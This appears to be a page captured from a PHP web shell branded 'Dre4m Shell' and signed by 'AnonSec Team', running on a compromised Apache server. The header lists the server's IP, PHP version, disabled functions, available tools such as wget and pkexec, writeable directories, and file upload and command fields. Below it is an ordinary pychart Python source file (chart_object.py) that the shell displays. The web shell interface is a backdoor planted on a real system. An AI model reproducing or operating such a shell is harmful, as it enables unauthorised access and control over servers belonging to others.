Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 18.218.24.244
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python2.7/dist-packages/pychart/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/lib/python2.7/dist-packages/pychart/chart_object.py
#
# Copyright (C) 2000-2005 by Yasushi Saito (yasushi.saito@gmail.com)
#
# Jockey is free software; you can redistribute it and/or modify it
# under the terms of the GNU General Public License as published by the
# Free Software Foundation; either version 2, or (at your option) any
# later version.
#
# Jockey is distributed in the hope that it will be useful, but WITHOUT
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
# FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
# for more details.
#
import pychart_types
import types

def set_defaults(cls, **dict):
    validAttrs = getattr(cls, "keys")
    for attr, val in dict.items():
        if not validAttrs.has_key(attr):
            raise Exception, "%s: unknown attribute %s." % (cls, attr)
        tuple = list(validAttrs[attr])
        # 0 : type
        # 1: defaultValue
        # 2: document
        # 3: defaultValue document (optional)
        tuple[1] = val
        validAttrs[attr] = tuple

class T(object):
    def init(self, args):
        keys = self.keys
        for attr, tuple in keys.items():
            defaultVal = tuple[1]
            if isinstance(defaultVal, types.FunctionType):
                # if the value is procedure, use the result of the proc call
                # as the default value
                defaultVal = apply(defaultVal, ())
            setattr(self, attr, defaultVal)

        for key, val in args.items():
            self.__setattr__(key, val)

    def __check_type(self, item, value):
        if item.startswith("_"):
            return

        if not self.keys.has_key(item):
            raise Exception, "%s: unknown attribute '%s'" % (self, item)

        typeval, default_value, docstring = self.keys[item][0:3]
        if value == None or typeval == pychart_types.AnyType:
            pass
        elif typeval == bool:
            # In 2.3, bool is a full-fledged type, whereas
            # in 2.2, it's just a function that returns an integer.
            # To mask this difference, we handle the bool type specially.
            if value not in (True, False):
                raise TypeError, "%s: Expecting bool, but got %s" % (self, value)
        elif typeval == str:
            if not isinstance(value, str) and not isinstance(value, unicode):
                raise TypeError, "%s: Expecting a string, but got %s" % (self, value)
        elif isinstance(typeval, types.FunctionType):
            # user-defined check procedure
            error = apply(typeval, (value,))
            if error != None:
                raise TypeError, "%s: %s for attribute '%s', but got '%s'" % (self, error, item, value)
        elif isinstance(value, typeval):
            pass
        else:
            raise TypeError, "%s: Expecting type %s, but got %s (attr=%s, %s)"  % (self, typeval, value,  item, self.keys[item])
    def __init__(self, **args):
        self.init(args)

    def __setattr__(self, item, value):
        self.__check_type(item, value)
        self.__dict__[item] = value

    def check_integrity(self):
        for attr, value in self.__dict__.items():
            self.__check_type(attr, value)
        return True

Anon7 - 2022
AnonSec Team